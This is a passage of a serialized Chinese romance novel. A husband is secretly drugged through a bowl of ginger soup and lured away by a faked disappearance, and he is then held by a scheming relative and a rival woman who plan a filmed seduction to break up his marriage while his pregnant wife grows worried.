更何况不要说是和她亲密,就是亲嘴儿,都得顾忌会不会传染给她! 他才不要一个人去客厅睡觉,不和她亲亲。 岑予衿看着陆京洲那副如临大敌的样子,觉得有些好笑,心里那点关于生姜味道的小嫌弃也暂时抛到了脑后。 她端起那碗温热的姜汤,递到他面前,声音软软地,带着点哄劝的意味,“阿洲,听话,喝了身体才能好得快呀。” 陆京洲看着她莹润的眼眸,里面清晰地映着自己的影子,那点抗拒在她柔声细语中迅速瓦解。 “老太太你是真知道该怎么拿捏我。”他叹了口气,像是认命般,接过碗,却还是忍不住嘟囔了一句,“真拿你没办法。” 陆京洲屏住呼吸,仰头,几乎是带着就义的姿态,将一碗姜汤一饮而尽。 辛辣的味道从喉咙一路烧到胃里,让他忍不住皱紧了眉头,赶紧将空碗放回托盘,仿佛那是什么烫手山芋。 看着他被姜汤辣得微微泛红的脸颊和紧蹙的眉头,岑予衿忍不住噗嗤一声笑了出来,连忙从旁边拿了颗准备好的蜜饯,自然地递到他唇边,“快,甜甜嘴。” 陆京洲就着她的手含住蜜饯,蜜饯的甜意在舌尖化开,恰到好处地中和了生姜残留的辛辣。 陆京洲紧蹙的眉头终于舒展开些许,但他的目光却始终没离开岑予衿带着笑意的脸。 他顺势握住她想要收回的手,指尖在她细腻的手腕内侧轻轻蹭了蹭,像是不经意,又带着点不容她逃脱的意味。 他微微倾身,靠近她耳边,用只有两人能听到的,带着点委屈和讨赏意味的低沉嗓音说,“为了不传染给你,这么难喝的东西我都喝了……陆太太,是不是该给点奖励?” 他的呼吸带着蜜饯的清甜和一丝若有似无的姜的余味,拂过岑予衿的耳廓,让她脸颊不由自主地泛起红晕。 她娇嗔地瞪了他一眼,轻轻推了推他的肩膀,示意奶奶还在旁边看着呢。 陆老太太将小两口的互动尽收眼底,笑得见牙不见眼,故意揶揄道,“哎哟哟,我这老婆子是不是该回避一下?省得碍着某些人讨奖励了?” 陆京洲被奶奶打趣,非但不恼,反而理直气壮地将岑予衿往怀里又带了带,下巴微扬,“奶奶,您知道就好。我老婆哄我,天经地义。” 岑予衿被他这明目张胆的“无赖”行径弄得面红耳赤,羞得直往他怀里躲。 手在他腰侧不轻不重地掐了一下,换来他一声低低的闷笑,胸膛震动,传递出愉悦的共鸣。 看着孙子脸上那发自内心的、带着宠溺和满足的笑容,再看看孙媳妇那虽然害羞却幸福的姿态。 陆老太太心里最后那点因之前话题而产生的阴霾也彻底烟消云散了。 毕竟儿孙自有儿孙福。 她站起身,笑呵呵地说,“行了行了,姜汤也喝了,我这老太婆就不在这里碍眼了。时间不早了,你们也早点休息,就按我说的,今晚就在老宅住下,别来回折腾了。” 她特意又叮嘱了岑予衿几句注意身体,这才心满意足地在赵姐的搀扶下离开了休息室。 休息室里只剩下他们两人。 陆京洲依旧环着岑予衿,手指有一下没一下地绕着她散落在肩头的发丝,享受着这片刻的宁静,“媳妇儿,奖励呢?刚刚奶奶在这儿,现在可以了吧?” 岑予衿把头摇的跟拨浪鼓似的,“不要,我不喜欢生姜的味道,不想亲。” 陆京洲低笑一声,非但没有退开,反而又凑近了几分,鼻尖几乎要蹭到她的,温热的气息交织在一起。 “谁说要亲了?”他眼底漾着促狭的笑意,故意拖长了语调,“陆太太,思想不纯洁。” 岑予衿被他倒打一耙,气得又想去掐他,手腕却被他轻轻握住。 “不过……”他话音一转,目光落在她因赌气而微微嘟起的唇瓣上,眼神暗了暗,声音压得更低,带着磁性的蛊惑,“既然媳妇儿提到了……我嘴里现在只有蜜饯的味道,很甜,不信……你尝尝? “现在批准你验收一下。看看是不是,一点姜味都没有了?”说着,他不给她拒绝的机会,低头便精准地攫取了那抹柔软。 他的吻永远不会满足于浅尝辄止,变得愈发深入、急切、带着一种不容抗拒的力道。 岑予衿只觉得被他紧紧箍在怀里,周身被他身上越来越热的体温包裹,原本推拒在他胸前的手,不知不觉软了下来,只能无力地揪住他胸前的衬衫布料。 呼吸被夺走,大脑因为缺氧而有些迷蒙,偏偏身体的感知却被放大,清晰地感受到他掌心隔着衣料传来的滚烫温度,和她自己逐渐加速的心跳。 “唔……阿洲你身上好烫,发烧了吗?”她偏开头,细微的抗议声从纠缠的唇齿间溢出,带着娇慵的喘息。 陆京洲顺势将吻落在她泛着绯红的脸颊,又流连到同样滚烫的耳垂,声音暗哑得不成样子,带着灼人的气息喷在她敏感的颈侧,“好像是有点热。” 他嘴上说着,手臂却收得更紧,将她更深地嵌入自己怀里,唇再次覆上,比刚才更重,更沉迷,“都怪那碗姜汤。” 他像是找到了借口,理直气壮地纵容着这由内而外燃烧起来的火。 手掌在她背后轻轻摩挲,所到之处,仿佛能点燃衣料。 岑予衿被他亲得浑身发软,意识模糊间,自己也不喜欢生姜,早已被抛到九霄云外了。 陆京洲额头抵着她的,深邃的眼眸里像是蕴藏了风暴后的海面,暗潮汹涌,又带着餍足的迷离。 他看着她水光潋滟的唇瓣和迷蒙的双眼,喉结滚动,指腹轻轻擦过她微肿的唇瓣,嗓音低沉含笑道,“现在……还有姜味吗?” 岑予衿心跳如擂鼓,嗔怪地瞪他一眼,那眼神软绵绵的,毫无威慑力,反而像是在撒娇,“骗人,不仅有姜的味道……还有你的味道。” 还是烫人的,让她心跳失序的味道。 陆京洲闻言,满意地勾起唇角,将她打横抱起,稳步朝着自己的宅院走去。 “啊!”岑予衿轻呼一声,下意识地搂住他的脖子。 “回房间。”他抱着她的手臂稳如磐石,低头看她,眼神炽热,“姜汤的奖励收到了,但现在……我们需要解决一下它带来的副作用。” 陆京洲从小没喝过几次姜汤,姜汤喝下去,果然会让人浑身发烫! 这么看来效果还是不错的。 不过……他得回去降降邪火,估计是亲了她的缘故,身上热的有些过分了! 第112章 我去洗个冷水澡 陆京洲抱着岑予衿穿过月色笼罩的庭院。 夜风微凉,却吹不散他身上的燥热。 岑予衿靠在他怀里,能清晰地听见他有力的心跳,一下一下,敲打在她的耳膜上。 他的步伐稳健,手臂牢牢地托着她。 她偷偷抬眼,看到他线条流畅的下颌和微微滚动的喉结,在廊下昏黄的光线里勾勒出性感的弧度。 “看什么?”陆京洲低沉的声音从头顶传来,带着了然的笑意。 岑予衿像被抓包的坏小孩,脸颊一热,把脸埋进他颈窝,闷声道,“谁看你了。” 颈间传来她呼吸的温热和发丝的轻痒,陆京洲喉结又是一滚,抱着她的手臂下意识收紧,脚步更快了些。 回到他们常住的那个院落,踢开卧室的门,反手关上,将一室静谧与外界隔绝。 他没有开大灯,只余床头一蒸暖黄的壁灯,光线暧昧地铺洒开来。 陆京洲轻轻将她放在柔软的被褥上,身体随即覆下,将她困在自己与床榻之间。 他的目光像带着实质的热度,一寸寸掠过她的眉眼、鼻梁,最后定格在那双因为惊讶而微微张开的唇瓣上。 那儿还残留着方才亲吻后的嫣红和水润。 “副作用,真强!”他重复着刚才的话,指尖轻轻拂开她额前的碎发,声音哑得厉害,“好像更严重了。” 岑予衿被他看得心尖发颤,手抵在他胸膛上,能感受到衬衫下肌肉的紧绷和那异常高的体温,“你……你真的发烧了?” 她眼里带着真实的担忧,试图用手背去探他额头的温度。 陆京洲握住她微凉的手,贴在自己滚烫的脸颊上,眼神幽暗,“不是发烧。” 他引导着她的手,缓缓下滑,掠过脖颈,停留在衬衫第一颗扣子解开的锁骨处,让她感受皮肤下奔涌的热度,“是姜汤太辣了,喝了很热,很热!” 他的意图再明显不过。 正常的姜汤应该不会这样吧? 他不太清楚,不过那感觉是由内而外的,很奇怪! 岑予衿心跳漏了一拍,被他掌心包裹的手微微蜷缩。 她怀孕后,两人亲密时他总是极尽克制,小心翼翼,像现在这样带着侵略性的眼神,可以说是从未出现过。 掌心下的肌肤烫得惊人,那热度几乎要灼伤她。 岑予衿看着他含情脉脉的眼神,呼吸都跟着紧了几分。 陆京洲俯下身,含住她的唇。 这个吻带着不同于以往的急切和霸道,充满了某种亟待宣泄的压抑。 唇齿交缠间,是他渡过来滚烫的呼吸,还有那碗姜汤残留的若有似无的辛辣,混合着他本身清冽的气息,明明没喝酒却觉得已经醉的一塌糊涂了。 岑予衿抵在他胸膛上的手,不自觉地蜷紧,抓住了他微皱的衬衫。 意识被他搅得混沌,身体深处却因他不加克制的热情而悄然战栗。 她闭上眼,生涩却又带着点迎合地回应。 得到回应,陆京洲的吻愈发深入,像是要将她拆吃入腹。 一只手捧着她的脸,拇指在她泛红的脸颊上轻轻摩挲,另一只手则本能地向下探索,隔着薄薄的衣料,抚上她微微隆起的小腹。 就在他的掌心覆上的瞬间,两人皆是一僵。 陆京洲的动作猛地顿住。 所有的意乱情迷像是被按下了暂停键。 他喘着粗气,额头抵着她的,深邃的眼底是几乎要喷薄而出的欲望,以及在那欲望之上,最沉重的克制。 那微微隆起的弧度,无声地提醒着他她此刻的不同。 他闭了闭眼,喉结剧烈地滚动,像是在进行一场极其艰难的斗争。 再睁开时,眼底的狂潮虽未完全褪去,却硬生生被压下去大半。 “不行……”他声音嘶哑得几乎破碎,带着一丝懊恼和无奈。 话音未落,他已抽身。 温暖的怀抱和令人沉溺的亲吻瞬间远离,岑予衿茫然地睁开眼,只看到他猛地转过身去的、紧绷的背影。 他抬手,有些烦躁地扒了一下自己的黑发,呼吸依旧粗重不稳。 “阿洲?”她轻声唤他,声音里还带着未散的情动。 陆京洲没有回头,只是抬手摆了摆,像是怕多看她一眼就会再次失控。 他几乎是脚步踉跄地冲进了与卧室相连的浴室,“我去洗个冷水澡,老婆,你先睡。” 陆京洲几乎是逃似地冲进浴室,反手将门锁上,背靠着冰凉的门板,大口喘着气。 身体的躁动并未因方才的克制而平息,反而因那中断的亲昵更加嚣张地喧嚣着。 他对他老婆真的一点抵抗力都没有? 怎么办! 她光是站在那儿,他就会忍不住的想要靠近她,想要亲她,想要把她揉进自己的骨血。 新婚期就是最腻歪的时期,可偏偏他们就不行! 陆京洲走到洗手台前,拧开水龙头,用双手掬起一捧又一捧冰冷的水,用力拍打在脸上、颈后。 刺骨的凉意暂时驱散了些许皮肤的灼烫,但那股从身体深处不断蒸腾上涌的热意,却顽固地盘踞不去。 “该死的……”他低咒一声,双手撑在冰冷的陶瓷台面上,抬头看着镜中那个眼尾泛红、呼吸急促的自己。 这感觉太不对劲了,仅仅是一碗姜汤? 就算有驱寒发汗的功效,也不该如此猛烈,简直像是……像是被下了药。 这个念头一起,便再也压不下去。 陆京洲烦躁地直起身,从裤袋里掏出手机,指尖还带着一丝不易察觉的轻颤。 他解锁屏幕,在搜索引擎里快速输入,“姜汤导致浑身燥热类似发烧?” 指尖悬在搜索键上片刻,最终还是按了下去。 页面迅速刷新,跳出几条相关的问答和科普文章。 陆京洲拧着眉,快速浏览着。 【科普:姜汤的功效与适宜人群】 【问答:喝完姜汤感觉浑身发热正常吗?】 …… 他点开最上面的几条,目光锐利地扫过屏幕上的文字。 【姜性辛温,含有姜辣素,能促进血液循环,扩张毛孔,加速排汗,因此饮用后感到身体发热是正常现象,有助于驱散风寒……】 【正常发热感应在可接受范围内,通常伴随微微出汗,若出现极度燥热、心跳加速、面红耳赤等类似兴奋剂反应,需考虑个体差异或姜用量过大……】 【需与不明原因发热或其他药物、食物副作用相鉴别……】 “个体差异”、“用量过大”、“需与其他副作用相鉴别” 这些字眼跳入他眼中,让他心中的疑虑非但没有消除,反而更深了。 他回想起那碗姜汤的味道,确实要辣很多,当时只以为是厨房特意熬得浓了些。 难道真是姜放得太多了? 还是……有什么别的东西? 他眸色沉了下去,一丝冷厉闪过眼底。 可转念一想,又觉得不太对劲。 那要是老太太让赵姐熬的。 笙笙现在还怀着宝宝,老太太不可能拿她的身体健康开玩笑。 他无奈地扯了扯嘴角,带着几分自嘲。 看来,问题终究还是出在自己身上。 对她,他引以为傲的自制力从来都是不堪一击的。 认命般地叹了口气,他脱去早已被冷汗和凉水浸湿的黑色衬衫,打开了花洒。 冰冷刺骨的水流瞬间从头顶浇下,激得他浑身肌肉骤然收缩,牙关都忍不住打了个颤。 但他没有调高水温,反而就着这能冻僵人的冷水,仰起头,任由其冲刷着滚烫的身体,试图用这种近乎自虐的方式,将体内那股横冲直撞的邪火彻底浇灭。 时间在哗啦啦的水声中缓慢流逝。 卧房里,岑予衿起初还听着浴室里的水声,担心着他。 不知过了多久,身边床垫微微下陷,一股带着湿润凉意的气息靠近。 迷迷糊糊的岑予衿无意识地向他靠拢,然而,当她的手臂触碰到他冰凉的身体时,猛地被激得一哆嗦,瞬间清醒了几分。 她借着壁灯昏黄的光线,看到陆京洲头发还湿漉漉地滴着水,身上仅裹着睡袍,裸露在外的胸膛皮肤带着一种不正常的低温,触手一片冰凉。 “怎么这么冰……”她心疼地嘟囔着,睡意去了大半,下意识地就想用自己温暖的身体去暖他,手脚并用地往他怀里钻。 陆京洲刚被冷水压下去的火气,被她这带着依赖的靠近瞬间又勾起了苗头。 他身体一僵,连忙伸手轻轻按住她,不让她乱动,声音带着冷水澡后的沙哑和疲惫,“别动……我刚冲完凉水,小心冻着你。” 他拉过被子,仔细地将两人盖好,尤其是将她裹得严严实实,自己则刻意保持着一点距离,生怕身上的寒气侵扰到她。 岑予衿想起他之前的状态和冲进浴室的原因。 看着他即使冲了这么久冷水,眉宇间仍残留着一丝隐忍的痕迹,以及他此刻小心翼翼生怕冰到她的样子,心里又是好笑又是酸软得一塌糊涂。 她不再乱动,只是伸出手,轻轻抚上他依旧有些凉意的脸颊,指尖温柔地描摹着他的眉眼轮廓,低声道,“辛苦你了,阿洲,其实医生说三个月后就可以……可以小心一点的。” 陆京洲捉住她微暖的手,贴在自己唇边吻了吻,闭上眼,感受着她指尖传来的、让他安心无比的温度。 体内残余的躁动在她的温柔抚触下,奇异地渐渐平息。 “你怀着两个宝宝,咱们俩还是不要瞎闹的好,乖~睡吧。”他将她往怀里拢了拢,依旧注意着不让她直接接触自己过凉的皮肤,下颌轻轻抵着她的发顶,“我没事了。” 陆京洲刚睡下,还没睡着呢,门口就传来了剧烈的敲门声。 岑予衿眉头皱的紧紧的,“怎么了?” “我出去看看。” “二少爷,明月小姐失踪了!你有没有看到她?” 陆京洲一听是陆明月,压根不想管,只对着门口道,“没看见,别过来了,笙笙睡着了。” 岑予衿看着已经到门口的男人,又转身回到了自己身边,抱着她躺好,“快睡觉,小孕妇不能熬夜。” 第113章 都是圈套 陆京洲刚把岑予衿重新搂进怀里,轻声哄着她闭眼,放在床头柜上的手机却不合时宜地剧烈震动起来。 屏幕在昏暗中执着地亮着,映出来电显示——堂哥陆宸朝。 他眉头瞬间拧紧,不想接。 岑予衿也被这持续的噪音扰得不安,轻轻动了动。 手机响了一遍,挂断,紧接着又毫不气馁地响起第二遍,大有不接不通不罢休的架势。 陆京洲低咒一声,怕吵到岑予衿,只得伸长手臂拿过手机,刚划开接听,还没来得及压低声音斥责,陆宸朝焦急万分、带着哽咽的声音就劈头盖脸地传了过来,“京洲!京洲你帮帮哥!明月……明月那丫头不见了!到处都找遍了,电话也打不通,她平时虽然爱玩,但从不会这样……我担心她出事!你能不能……” 陆京洲听得心头烦躁更甚,尤其是体内那股被冷水暂时压制的燥热,似乎因为情绪的波动又开始隐隐抬头。 他捏了捏眉心,冷声道,“我没看见她。这么大个人了,能出什么事?而且今天是她的18岁生日宴人这么多,在自己的地盘上,她能出什么事?。” 陆宸朝急急打断他,声音里带着近乎绝望的哀求,“京洲,算哥求你了!你就帮帮我,动用你的人脉帮忙找找看!我就这么一个女儿……你知道现在外面多乱,她一个女孩子……我、我实在没办法了!” 陆宸朝一向稳重,此刻却方寸大乱,话语间的恐慌不似作假。 陆京洲沉默着,耳边是堂哥带着哭腔的恳求,怀里是岑予衿温软的身躯,而他自己体内那陌生的、汹涌的热意正在重新汇聚、升腾,甚至比之前更加猛烈,灼烧着他的理智。 继续躺在这里,他不敢保证自己还能不能继续保持那该死的克制。 岑予衿刚才那句“可以小心一点”的话更像是在他紧绷的神经上撩拨。 离开,或许是目前最好的选择。 既能避开堂哥的持续骚扰,也能让自己冷静一下。 “知道了。”他声音沙哑地应道,带着一丝不易察觉的喘息,“我去找还不行吗?” 挂了电话,他深吸一口气,动作轻柔却坚定地松开岑予衿,翻身下床。 岑予衿撑起身子,担忧地看着他,“一定要去吗?你刚才……那样子明显不太对,生病了就不要吹风了。” “没事。”陆京洲背对着她,快速套上长裤和一件干净的衬衫,手指因体内翻涌的热度而有些微颤,扣子都扣得略显匆忙,“堂哥那边情况听起来不好,我出去找找,顺便……吹吹风,散散酒气。” 他找了个借口。 实际上,他需要的是冰冷的夜风来冷却这不合时宜的燥热。 系好最后一颗扣子,他转身,在岑予衿额头上印下一个克制而滚烫的吻,眼神深邃,带着未褪的情潮和强行压下的冲动,“你乖乖睡觉,不许熬夜,我尽快回来。” 说完,他不再停留,几乎是有些仓促地大步离开了卧室。 刚走出去没两步,又没忍住,回头走到床边,捧着她的小脸重重的亲了下去。 这个回头吻来得突然而凶猛,不似方才额间的克制,而是带着一种近乎失控的掠夺。 他滚烫的唇瓣重重压上她的,舌尖带着不容置疑的力道撬开她的齿关,加深了这个吻。 气息交缠间,全是他身上未散的灼热,仿佛要将方才强行压下的所有渴望都在这一瞬间倾泻而出。 岑予衿被他吻得措手不及,氧气仿佛都被夺走,脑袋里晕乎乎的,只能被动地承受着他这突如其来的亲密。小手无意识地抵在他胸膛,能清晰地感受到衬衫下肌肉的紧绷和那惊人的热度。 良久,直到两人肺里的空气都快耗尽,陆京洲才猛地松开她,额头抵着她的,剧烈地喘息着,深邃的眼底是翻涌的墨色,声音哑得不成样子,“媳妇儿,别那样看着我。” 他指腹摩挲着她微微红肿的唇瓣,带着无尽的眷恋和挣扎,“你再用那种眼神看着我,我就真的走不了了。” 他怕自己再多停留一秒,就会不管不顾地将全都抛在脑后,只想沉溺在她的温柔乡里,哪怕焚身蚀骨。 说完,他像是用尽了所有力气,猛地直起身,不再看她那带着水光、惹人怜爱的眼眸,决绝地转身,大步流星地离开了卧室。 “砰”的一声轻响,房门被关上。 卧室内重新恢复了静谧,只余床头灯暖黄的光晕和空气中尚未平息的暧昧滚烫气息。 房门隔绝了室内温暖的灯光和让他意乱神迷的人儿,陆京洲靠在走廊冰凉的墙壁上,重重喘了口气,体内的热浪一阵阵袭来,让他额角都渗出了细密的汗珠。 岑予衿怔怔地躺在原地,唇上还残留着他霸道的气息和滚烫的温度,心跳如擂鼓。 她抬手轻轻碰了碰自己的嘴唇,那里微微发麻,心里却像是被什么东西填满了,酸酸软软,还带着一丝为他身体担忧的焦虑。 他低骂一声,扯了扯紧绷的领口,一边快步向外走去,一边拿出手机,拨通了助理的电话,声音冷沉,带着不容置疑的命令和一丝压抑不住的燥郁,“立刻调取老宅所有监控,重点查明月小姐今晚离场的路线和接触的人……对,现在!动用所有能动用的关系,我要在一个小时内知道她的下落!” 他现在急需做点什么来转移注意力,否则,他不知道自己会不会被这莫名其妙的燥热和对她疯狂的想念给逼疯。 身体的异常反应让他心头那股莫名的疑虑再次升起,但现在显然不是深究的时候。 他快步走向依旧灯火通明的主宅宴会厅。远远就听到里面传来的嘈杂人声,比之夜宴鼎盛时更多了几分慌乱和焦虑。 一脚踏入宴会厅,原本衣香鬓影、觥筹交错的场面早已不见,取而代之的是一片混乱。宾客大多还未散去,三三两两聚在一起低声议论,脸上带着或真或假的担忧。陆宸朝像只无头苍蝇般在人群中穿梭,抓住每一个可能见过陆明月的人急切询问,声音已经沙哑,眼底布满血丝。陆家的几位长辈也面色凝重地站在一旁,指挥着佣人和保镖进行地毯式搜索。 “京洲!你来了!”陆宸朝一眼看到走进来的陆京洲,像是抓住了救命稻草,立刻冲了过来,紧紧抓住他的手臂,“怎么样?你有没有什么线索?我……我把能找的地方都找遍了,监控也只看到她往花园西侧去了,那边监控有死角……而且有个巨大的人工湖。” 他就怕人失足掉进了湖里,这会已经让人去捞了,可到现在还没有限速。 陆京洲更加汹涌的躁动,不动声色地抽回手臂,声音因压抑而显得格外冷硬,“哥,我已经让人去查了,很快会有消息。” 他环视四周,目光锐利如鹰,试图从这片混乱中找到一丝不寻常的痕迹。 然而,随着他精神的高度集中,身体里的那股热流却愈发猖獗,如同岩浆在血管里奔涌,冲击着他的四肢百骸。 额角的汗珠汇聚成滴,顺着棱角分明的下颌线滑落,喉结不受控制地上下滚动,呼吸也变得粗重了几分。 他需要冷静,必须冷静。 每走一步,都仿佛踩在炭火上。 周围人群的低语、担忧的目光、甚至空气中残留的酒气和香水味,都像是一种无形的刺激,放大着他身体的异常感受。 那碗姜汤……后劲实在太足了,足到让他这个向来冷静自持的人,几乎要在这大庭广众之下失控。 他咬紧牙关,下颌线绷得紧紧的,额头上青筋隐现。 必须尽快找到陆明月,然后……他得立刻去找个医生,或者干脆再冲一次冷水澡,否则他不敢保证接下来会发生什么。 陆京洲强忍着身体深处翻江倒海般的燥热和不适,朝着她消失的地方走去。 越往西走,灯光越是昏暗,宴会的喧嚣被远远抛在身后,只剩下风吹过树叶的沙沙声和远处湖面的微弱波光。 空气中的凉意似乎稍微缓解了他皮肤的灼烫,但体内的火焰却燃烧得更加顽固,甚至带来一阵阵眩晕和强烈的冲动,这绝不仅仅是姜汤或者情绪波动能解释的了! 他猛地停住脚步,扶住旁边冰凉的墙壁,试图理清混乱的思绪。 不对劲,太不对劲了!这种由内而外、几乎要摧毁人理智的燥热和渴望…… 是药! 他可以肯定,那碗姜汤里被加了料! 这种感觉跟那天晚上奶奶给他下药是一模一样。 是谁?目的是什么?是针对他? 他试图压下体内汹涌药力的瞬间,身后极细微的脚步声让他警觉地猛然回头——晚了一步。 一道黑影如同鬼魅般从侧后方袭来,动作快准狠,带着训练有素的专业。 陆京洲本就因药力发作而反应迟钝、四肢酸软,加上对方显然早有预谋且身手不凡,他只觉得颈后遭到一记重击,眼前骤然一黑。 在彻底失去意识的前一秒,他明白这是中计了! 那碗姜汤……还有陆明月失踪……都是圈套! 所有的思绪戛然而止,他高大的身躯晃了晃,重重地倒在了冰冷的草地上,失去了知觉。 袭击者迅速查看了一下四周,确认无人发现后,利落地将昏迷的陆京洲拖拽起来,朝着树林深处那栋用于存放园艺工具的独立小屋走去。 第114章 就算是死也不能被玷污 陆明月和姜晚樱焦急的在房间里踱步。 陆明月不知道小叔到底有没有喝那碗姜汤,要是他不出门,那今天晚上所做的一切都白搭。 他还派了人去把小叔打晕了带过来,也不知道得手了没有? 今天这把要是不成功,她绝对得遭殃! 但要是成功了,小叔绝对会爱上晚樱姐姐,把那个女人赶出门。 至于她肚子里的孩子他们陆家又不是养不起,再说了晚樱姐姐人这么好,一定会照顾好两个宝宝的。 她真的是自己见过最善良的女孩子。 姜晚樱心里也没底,以前说实话她看不上陆京洲这样的二世祖。 可……等他结婚了才发现,陆京洲跟自己想象中的一点也不一样。 把老婆当成眼珠子疼,又会哄老婆开心,颜值高身材又好。 早知道就在他还在M国的时候就下手了。 最重要的一点是,陆京洲也许根本不像她想象中的那么没用。 他居然认识京耀财团总部的高层,而且看起来关系不错,他也绝非池中之物。 综合考虑,陆京洲比她认识的所有男人都有用,而且……他要是愿意,能够迅速让她在圈子里站稳脚跟。 她已经安排好了设备,到时候拿着,有视频作证,陆京洲想抵赖也抵赖不了。 再不行她就拿着视频去找周芙笙。 她本来就是因为肚子里的两个小杂种才嫁给陆京洲的,要是这两个孩子没了,那她不就只有扫地出门一条路了吗? 陆明月第十次凑到门边,侧耳倾听外面的动静。 走廊里静得可怕。 “怎么还没消息……”她绞着手指,指甲深深掐进掌心。 姜晚樱坐在椅子上,姿态看似优雅,和搅在一起的手已经说明了一切。 “明月,你确定那药……”她压低声音,“是从黑市弄来的?” “绝对可靠,”陆明月转身,眼里闪着孤注一掷的光,“卖家说,只要一点点,就能让人产生强烈的……依赖感,致幻性特别强,生米煮成熟饭,绝对没问题的。” 陆明月停下脚步拍了拍姜晚樱的肩膀,不断安慰着她,“晚樱姐姐,你准备好就行,虽然这件事情,确实委屈了你,但是只要怀上小叔的孩子,顺利嫁进了陆家,你就是陆家二少奶奶,到时候小叔和祖母都会补偿你的。” 正说着话呢,门外传来一阵急促的脚步声,两人同时屏住呼吸。 敲门声响起,三短一长,是约定的信号。 陆明月眼睛明显亮了一下,看来是得手了。 门被推开,两个黑衣男人费力地架着完全失去意识的陆京洲进来。 他的头低垂着,看起来毫无生气,双臂被架着,整个人是被拖行进来的。 那双平日锐利深邃的眼眸紧闭,毫无知觉。 “大小姐,得手了!” 陆明月脸上瞬间绽放出狂喜的光芒,“快!放到床上去!” “小心一点!别伤到我小叔。” 姜晚樱立刻站起身,看着被重重放在简陋单人床上的陆京洲。 他额发被汗水浸湿,紧贴在前额,脸颊泛着极不正常的潮红,呼吸急促而沉重,身体似乎在承受着某种煎熬,眉头痛苦地拧紧。 “你们出去守着,任何人不准进来!”陆明月迅速打发走手下,关上门,转身激动地抓住姜晚樱的手,“晚樱姐,成功了!快,接下来就看你的了!” 姜晚樱深吸一口气,压下心中的紧张。 迅速调整手机的角度。 走到床边,伸手想要触碰滚烫的陆京洲,床上的人发出了一声模糊的呓语,睫毛剧烈颜动,竟然缓缓睁开了眼睛。 他的眼神最初是涣散而迷离的,焦距不稳地扫过昏暗的屋顶,然后艰难地转向站在床边的两个女人。 当他的视线逐渐辨认出姜晚樱和房间角落里那个显眼的摄像机时,一丝震惊和暴怒在他眼底燃起,但更多的是一种无能为力的虚弱。 “你们……敢……”他试图撑起身体,呵斥出声,但声音嘶哑微弱得几乎听不清。 手臂刚勉强抬起几寸,就无力地垂落下去,重重砸在床板上。 那碗姜汤里的药效凶猛无比,不仅催发着情欲,更带着强烈的肌肉松弛,此刻他连抬起一根手指都觉得费力无比,更别说是逃离。 陆明月先是一惊,随即看到他连起身都做不到,立刻又壮起胆子,“小叔,你··…你别挣扎了!没用的!你相信我,我真的是为了你好,周芙笙就是个废物,她配不上你。” “闭嘴!”陆京洲听到她说自己老婆不好,只想把她摁着扇一顿,可身体已经浑身无力,不听使唤了,“谁允许你这么说她了?!” 他就不该心软,多管闲事。 大不了多去洗个冷水澡。 要是今天被这个贱人碰了,他怎么和媳妇儿交代? 姜晚樱见到他醒来虽有些慌乱,但看他这副任人宰割的模样,心下一定。 她走上前,俯身,几乎贴在他耳边,声音带着刻意的柔媚和一丝得意,“京洲,很难受是不是?别硬撑了,让我帮你好不好?很快就会……很舒服的。” 她的声音娇柔到了极致,冰凉的手指故意划过他滚烫的颈侧。 陆京洲身体猛地一颤,是极度厌恶和愤怒的反应,却无法避开她的触碰。 他想挥开她的手,手臂却像灌了铅一样沉重,只能在喉间发出压抑而愤怒的低吼,“滚····开…” 每一个字都像是从牙缝里挤出来的,带着滔天的恨意,却更凸显了他此刻的脆弱。 陆明月在一旁看着,既兴奋又有些害怕,语速极快地劝说,“小叔,你就从了吧!晚樱姐哪点比不上那个周芙笙?她才是真心爱你的!等你尝到甜头,就会知道我们是为你好!” 陆京洲胸口剧烈起伏,呼吸愈发灼热急促,药力像是岩浆在他的血管里疯狂乱窜,不断吞噬着他的理智。 “呵……”他扯出一个极度讽刺而冰冷的笑,即使身处绝境,气势依旧迫人,“就凭……这种手段?姜晚樱……你让我··…恶心….” 姜晚樱被他眼中的鄙夷刺痛,脸上伪装的温柔褪去,闪过一丝狠厉。 她不再犹豫,直接伸手去解他衬衫的扣子,动作带着一种志在必得的急切。 陆京洲瞳孔骤缩,用尽全身力气试图偏头躲开,却只是让头颅在枕头上无力地偏转了一个微小的角度。 前所未有的屈辱和暴怒几乎要将他淹没,他就算死了,也不能被这样算计和玷污。 第115章 陆京洲呢? 岑予衿总觉得今天晚上的陆京洲很不对劲。 平时的他,只是亲她,也有过要失控的情况,不过那种情况,他自己能控制得住。 顶多进去洗个冷水澡就可以出来。 出来之后,害怕自己控制不住,也坚决不会碰她。 可今天晚上不一样,他控制不住的想要靠近她,亲了一次又一次,哪怕是到门口,也要转身回来亲她。 亲够了才出门。 而且他身上的温度烫的可怕。 就像是发高烧了一样。 可是他自己又说没有发烧。 那张俊脸红彤彤的,眼神迷离,充满了情欲。 他堂哥叫他找人的时候,他明显也不肯去,只是再看像她才像是下定了什么决心,转身离开。 不就是喝了一碗姜汤嘛? 不对……宴会上还喝了酒水。 不过喝了酒水之后,去奶奶那里找她也没有这种反应,难不成他是喝了被下药的酒? 然后酒里面的药有滞后性,回来才发作? 还是说……姜汤有问题? 那姜汤不是奶奶吩咐赵姐盯着熬的吗,应该不会有事儿吧? 可他那样子明显就是喝了什么不该喝的东西。 和那天晚上在酒店的反应一模一样。 岑予衿的脑子乱乱的,越想越慌张,总觉得心里很难受,也不知道到底为什么? 拿出手机拨通了陆京洲的电话,电话响了几声,却没有人接。 那种心慌的感觉更甚。 她咬着唇瓣,盯着天花板许久,最终还是没忍住起了床。 陆京洲叮嘱她乖乖睡觉,不要熬夜,今晚怕是不能听他的话了。 岑予衿迅速进来衣帽间,打开衣橱取出一件柔软的米白色高领羊绒毛衣和加厚羊毛长裤。 孕肚已经有些明显了,厚重的冬衣让她动作略显笨拙,但心中的焦虑让她顾不上这些。 她一边系好毛衣扣子,一边继续拨打陆京洲的电话。 一遍,两遍……直到第十通,电话终于被接起。 “请问你是哪位?”一个稚嫩的声音从听筒里传来,带着些许不确定。 岑予衿一愣,显然没有预料到电话会接,接电话的还是一个小孩。 陆家听这声音应该是陆京洲同父异母的哥控弟弟陆栩然。 “栩然?怎么是你?陆京洲呢?你二哥他在哪儿呢?” “二嫂?”陆栩然的声音带着惊喜,随即又压低,“明月姐姐找不到了,我在帮他们找人,在花园的小路上捡到二哥的手机,掉在这里了。我不知道他在哪儿……” 自从上次藏獒事件发生了之后,陆栩然对她这个嫂子的态度发生了翻天覆地的变化。 绝对是实话实说,不可能骗她。 岑予衿的心猛地沉了下去。 陆京洲从不离身的手机,现在居然掉在花园里,这绝不是好兆头。 难不成是出了什么事儿? 